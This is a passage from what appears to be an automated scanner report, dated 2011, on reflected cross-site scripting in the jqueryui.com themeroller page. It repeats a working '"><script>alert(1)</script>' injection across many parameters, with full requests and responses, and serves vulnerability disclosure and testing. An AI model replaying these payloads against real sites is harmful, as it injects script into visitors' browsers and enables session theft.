a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:41:22 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120176
The value of the borderColorHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 763a4"><script>alert(1)</script>a96feca88dd was submitted in the borderColorHeader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7763a4"><script>alert(1)</script>a96feca88dd&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:40:08 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120176
The value of the borderColorHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83ee2"><script>alert(1)</script>a004327990c was submitted in the borderColorHover parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e783ee2"><script>alert(1)</script>a004327990c&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:42:26 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120176
The value of the cornerRadius request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe97e"><script>alert(1)</script>d413db24598 was submitted in the cornerRadius parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5pxfe97e"><script>alert(1)</script>d413db24598&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:39:52 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120176
The value of the fcContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0238"><script>alert(1)</script>f3b7584a347 was submitted in the fcContent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222a0238"><script>alert(1)</script>f3b7584a347&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:40:42 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120176
The value of the fcDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6908e"><script>alert(1)</script>f728313c9af was submitted in the fcDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e6908e"><script>alert(1)</script>f728313c9af&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:41:30 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120176
The value of the fcHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70262"><script>alert(1)</script>3ef1456697c was submitted in the fcHeader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff70262"><script>alert(1)</script>3ef1456697c&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:40:14 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120176
The value of the fcHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb112"><script>alert(1)</script>0ae51754bf3 was submitted in the fcHover parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987bb112"><script>alert(1)</script>0ae51754bf3&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:42:32 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120176
The value of the ffDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 589a3"><script>alert(1)</script>546c2a2a8d6 was submitted in the ffDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif589a3"><script>alert(1)</script>546c2a2a8d6&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:39:38 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120176
The value of the fsDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63655"><script>alert(1)</script>f4ad536432 was submitted in the fsDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em63655"><script>alert(1)</script>f4ad536432&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:39:48 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120173
The value of the fwDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16422"><script>alert(1)</script>2726a46e7ea was submitted in the fwDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold16422"><script>alert(1)</script>2726a46e7ea&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:39:42 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120111
The value of the iconColorContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2c17"><script>alert(1)</script>2ef784c42 was submitted in the iconColorContent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdde2c17"><script>alert(1)</script>2ef784c42&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d5&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:40:45 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120170
The value of the iconColorDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50c57"><script>alert(1)</script>7a42f2dba79 was submitted in the iconColorDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=5px&bgColorHeader=5c9ccc&bgTextureHeader=12_gloss_wave.png&bgImgOpacityHeader=55&borderColorHeader=4297d7&fcHeader=ffffff&iconColorHeader=d8e7f3&bgColorContent=fcfdfd&bgTextureContent=06_inset_hard.png&bgImgOpacityContent=100&borderColorContent=a6c9e2&fcContent=222222&iconColorContent=469bdd&bgColorDefault=dfeffc&bgTextureDefault=02_glass.png&bgImgOpacityDefault=85&borderColorDefault=c5dbec&fcDefault=2e6e9e&iconColorDefault=6da8d550c57"><script>alert(1)</script>7a42f2dba79&bgColorHover=d0e5f5&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=79b7e7&fcHover=1d5987&iconColorHover=217bc0&bgColorActive=f5f8f9&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=79b7e7&fcActive=e17009&iconColorActive=f9bd01&bgColorHighlight=fbec88&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=fad42e&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Mon, 24 Jan 2011 22:41:43 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120176
The value of the iconColorHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6af50"><script>alert(1)</script>ead3b8dbb77 was submitted in the iconColorHeader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
